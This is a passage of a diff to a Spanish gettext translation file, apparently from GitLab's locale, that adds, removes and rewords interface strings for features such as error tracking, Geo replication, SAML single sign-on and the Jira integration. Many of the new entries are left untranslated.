+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "Habilitar control de clasificación utilizando un servicio externo"
@@ -11387,6 +11718,9 @@ msgstr "Habilitado"
msgid "Enabled Git access protocols"
msgstr "Protocolos de acceso Git habilitados"
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr "Introduzca la URL de su servidor Phabricator y su token de acceso"
msgid "Enter merge request URLs"
msgstr "Introduzca las URL de la solicitud de fusión"
-msgid "Enter new %{field_title}"
-msgstr "Introduzca nuevo %{field_title}"
-
msgid "Enter new AWS Secret Access Key"
msgstr "Introduzca su nueva AWS Secret Acess Key"
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Activo"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "Después de añadir su token de autenticación, utilice el botón 'Conectar' para cargar los proyectos"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "Token de autenticación"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "Haga clic en 'Conectar' para restablecer la conexión a Sentry y activar el menú desplegable."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "La conexión ha fallado. Por favor, compruebe el token de autenticación y vuelva a intentarlo."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,8 +12438,8 @@ msgstr "No hay proyectos disponibles"
msgid "ErrorTracking|Select project"
msgstr "Seleccionar proyecto"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
-msgstr "Para habilitar la selección del proyecto, ingrese un token de autenticación válido"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
msgid "Errors"
msgstr "Errores"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr "Recopilación de evidencias"
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr "Exactamente uno de los %{attributes} es necesario"
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr "Expandir hitos"
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Expandir barra lateral"
@@ -12356,6 +12687,9 @@ msgstr "Explorar grupos públicos"
msgid "Export"
msgstr "Exportar"
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr "Exportar grupo"
-msgid "Export issues"
-msgstr "Exportar incidencias"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "Exportar proyecto"
@@ -12401,9 +12729,6 @@ msgstr "ID externo"
msgid "External URL"
msgstr "URL externa"
-msgid "External Wiki"
-msgstr "Wiki externo"
-
msgid "External authentication"
msgstr "Autenticación externa"
@@ -12425,14 +12750,17 @@ msgstr "Etiqueta de clasificación"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Cuando no existe ninguna etiqueta de clasificación se utilizará la etiqueta predeterminada `%{default_label}'."
-msgid "ExternalWikiService|External Wiki"
-msgstr "Wiki externo"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "Reemplaza el enlace a la Wiki interna con un enlace a una Wiki externa."
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "URL del Wiki externo"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12530,6 +12858,9 @@ msgstr "Se ha producido un error al obtener ref."
msgid "Failed to install."
msgstr "Se ha producido un error al instalar."
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr "Se ha producido un error al cargar las etiquetas. Por favor, inténtelo de nuevo."
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr "Se ha producido un error al cargar los hitos. Por favor, inténtelo de nuevo."
@@ -12608,9 +12945,6 @@ msgstr "Se ha producido un error al eliminar una reunión de Zoom"
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Se ha producido un error al eliminar la incidencia del tablero, por favor, inténtelo de nuevo."
-
msgid "Failed to remove mirror."
msgstr "Se ha producido un error al eliminar el mirror."
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr "Se ha producido un error al actualizar el estado de la incidencia"
-msgid "Failed to update issues, please try again."
-msgstr "Se ha producido un error al actualizar las incidencias. Por favor, inténtalo de nuevo."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr "Filtrar por"
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Filtrar por %{issuable_type} que actualmente estén cerrados."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Filtrar por %{issuable_type} que actualmente estén abiertos."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr "Filtrar por estado"
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr "Token de origen de Flowdock Git"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr "Flowdock es una aplicación de colaboración web para equipos técnicos."
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "Correo electrónico de FogBugz"
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "Para más información, por favor lea la documentación."
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Para obtener más información, vaya a "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Para obtener más información, por favor revise el documento de configuración de %{link_start_tag}Jaeger%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr "Realizar un fork del proyecto"
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Bifurcado de"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "Fork en progreso"
@@ -13585,6 +13925,9 @@ msgstr "%{name} está programado para volver a sincronizar"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr "Se ha programado %{name} para que se vuelva a comprobar"
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr "No se puede eliminar la entrada de seguimiento para un proyecto existent
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "No se puede eliminar la entrada de seguimiento para un proyecto existente."
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Fallido"
@@ -13654,6 +14003,15 @@ msgstr "En curso"
msgid "Geo|In sync"
msgstr "Sincronizado"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "Comprobar último repositorio ejecutado"
@@ -13687,6 +14045,12 @@ msgstr "El nombre del nodo debe tener entre 1 y 255 caracteres"
msgid "Geo|Not synced yet"
msgstr "Sin sincronizar aún"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Sincronización pendiente"
@@ -13714,6 +14078,9 @@ msgstr "Proyectos en determinados grupos"
msgid "Geo|Projects in certain storage shards"
msgstr "Proyectos en determinados grupos de almacenamiento"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Volver a descargar"
@@ -13726,6 +14093,30 @@ msgstr "Eliminar entrada"
msgid "Geo|Remove tracking database entry"
msgstr "Eliminar entrada de la base de datos de seguimiento"
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Resincronizar"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Estado"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Sincronizado"
@@ -13765,6 +14159,9 @@ msgstr "Se ha producido un error durante la sincronización - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr "La sincronización de %{itemTitle} está deshabilitada."
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr "La base de datos está %{db_lag} detrás del nodo primario."
@@ -13798,6 +14195,9 @@ msgstr "Estado desconocido"
msgid "Geo|Verification failed - %{error}"
msgstr "Se ha producido un error durante la verificación - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "Esperando por el programador"
@@ -13843,6 +14243,9 @@ msgstr "Primeros pasos con las versiones"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "Git LFS no está habilitado en este servidor de GitLab, póngase en contacto con su administrador."
@@ -13972,6 +14375,12 @@ msgstr "Nombre de usuario de GitLab"
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLab utiliza %{jaeger_link} para monitorizar sistemas distribuidos."
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "Gitlab ejecutará un trabajo como tarea de fondo que producirá un archivo CSV seudonimizado de la base de datos de Gitlab y que se cargará a su directorio de almacenamiento de objetos que tenga configurado."
@@ -14095,6 +14504,24 @@ msgstr "URL del host de Gitea"
msgid "Gitea Import"
msgstr "Importar desde Gitea"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "GitLab Pages"
@@ -14137,9 +14564,6 @@ msgstr "Volver"
msgid "Go back (while searching for files)"
msgstr "Volver (mientras se buscan archivos)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "Ir a pantalla completa"
@@ -14269,17 +14693,14 @@ msgstr "URL de Grafana"
msgid "Grafana response contains invalid json"
msgstr "La respuesta de Grafana contiene un json no válido"
-msgid "GrafanaIntegration|API Token"
-msgstr "Token API"
+msgid "GrafanaIntegration|API token"
+msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "Activo"
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr "Insertar los gráficos Grafana en las incidencias de GitLab."
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
-msgstr "Introduzca el token del API de Grafana."
+msgid "GrafanaIntegration|Enter the Grafana API token."
+msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
msgstr "Introduzca la URL base de la instancia de Grafana."
@@ -14290,6 +14711,9 @@ msgstr "URL de Grafana"
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "Conceder acceso"
@@ -14347,6 +14771,12 @@ msgstr "URL del grupo"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar del grupo"
@@ -14428,9 +14858,6 @@ msgstr "La cuota de minutos del pipeline fue restablecida con éxito."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "Huella digital del certificado"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr "Configuración"
@@ -14551,8 +14984,11 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "Habilitar la autenticación SAML para este grupo."
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
-msgstr "Forzar autenticación SSO para este grupo."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
msgstr "Obligar a los usuarios tener cuentas administradas de grupo dedicadas para este grupo."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr "Para poder habilitar el SSO, primero debe habilitar la autenticación SAML."
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr "Para poder habilitar cuentas de grupo administradas, primero debe habilitar el SSO."
@@ -14845,9 +15278,6 @@ msgstr "Los grupos también se pueden anidar creando %{subgroup_docs_link_start}
msgid "Groups to synchronize"
msgstr "Grupos para sincronizar"
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Más visitado"
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr "Se ha eliminado el logo del encabezado correctamente."
@@ -15164,6 +15591,9 @@ msgstr "Tareas de mantenimiento, exportación, ruta, transferencia, eliminación
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr "Si pierde los códigos de recuperación, puede generar otros nuevos, invalidando todos los códigos anteriores."
@@ -15492,9 +15928,6 @@ msgstr "Se agotó el tiempo de espera para el proceso de importación. Este proc
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr "Importar/Exportar ilustración"
-
msgid "ImportButtons|Connect repositories from"
msgstr "Conectar repositorios desde"
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
-msgstr "Mejore los merge request y la atención al cliente con GitLab Enterprise Edition."
+msgid "Importing..."
+msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr "En %{time_to_now}"
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr "En progreso"
@@ -16145,6 +16578,9 @@ msgstr "Informa a los usuarios que no hayan cargado las claves SSH que no pueden
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "Puede encontrar información sobre plantillas de Pages adicionales y cómo instalarlas en nuestro %{pages_getting_started_guide}."
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr "Estándar"
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr "Modo interactivo"
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr "Archivo de configuración de Insights no válido detectado"
-msgid "Invalid Login or password"
-msgstr "Inicio de sesión o contraseña no válida"
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr "Se ha producido un error al actualizar incidencia"
@@ -16843,6 +17285,9 @@ msgstr "La incidencia fue cerrada por %{name} %{reason}"
msgid "Issue weight"
msgstr "Peso de la incidencia"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr "Edad"
@@ -16930,6 +17375,9 @@ msgstr "Las incidencias pueden ser errores, tareas o ideas para ser discutidas.
msgid "Issues closed"
msgstr "Incidencias cerradas"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "Incidencias con comentarios, merge requests con diffs y comentarios, etiquetas, hitos, fragmentos de código y otras entidades de proyecto"
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr "¡Es usted!"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Los eventos para %{noteable_model_name} están deshabilitados."
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr "Utilice una contraseña para la versión servidor y un token API para la versión en la nube"
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr "Utilice una contraseña para la versión servidor y un correo electrónico para la versión en la nube"
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "Nombre de usuario o correo electrónico"
@@ -17389,15 +17861,6 @@ msgstr "Atajos de teclado"
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr "Claves"
@@ -17488,6 +17951,9 @@ msgstr "Desplegable de acciones de las etiquetaa"
msgid "Label lists show all issues with the selected label."
msgstr "Las listas de etiquetas muestran todas las incidencias con las etiquetas seleccionadas."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "Etiqueta creada"
@@ -17691,6 +18157,9 @@ msgstr "Aprenda cómo habilitar la sincronización"
msgid "Learn more"
msgstr "Conozca más"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr "Enlace copiado"
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr "Cargando"
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Cargando las estadísticas de las colaboraciones de los miembros del grupo"
@@ -18332,6 +18807,9 @@ msgstr "Administrar todas las notificaciones"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Administre aplicaciones que puedan utilizar GitLab como proveedor OAuth, y aplicaciones que haya autorizado para utilizar su cuenta."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Administre las aplicaciones que haya autorizado a utilizar su cuenta."
@@ -18371,6 +18849,9 @@ msgstr "Importar fichero de manifiesto"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "No ha sido posible guardar el orden de las incidencias"
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr "Marcar como resuelto"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "Marque esta incidencia como duplicada de otra incidencia"
@@ -18473,6 +18951,9 @@ msgstr "No se encontró la coincidencia; por favor refine la consulta de su bús
msgid "MattermostService|Add to Mattermost"
msgstr "Agregar a Mattermost"
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr "Icono de respuesta"
msgid "MattermostService|Response username"
msgstr "Nombre de usuario de respuesta"
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr "Vea la lista de comandos disponibles en Mattermost después de configurar este servicio, introduciendo"
-
msgid "MattermostService|Suggestions:"
msgstr "Sugerencias:"
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "Capacidad máxima"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Miembros"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Merge request"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr "Autorizar los merge request"
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Aprobar los merge request"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
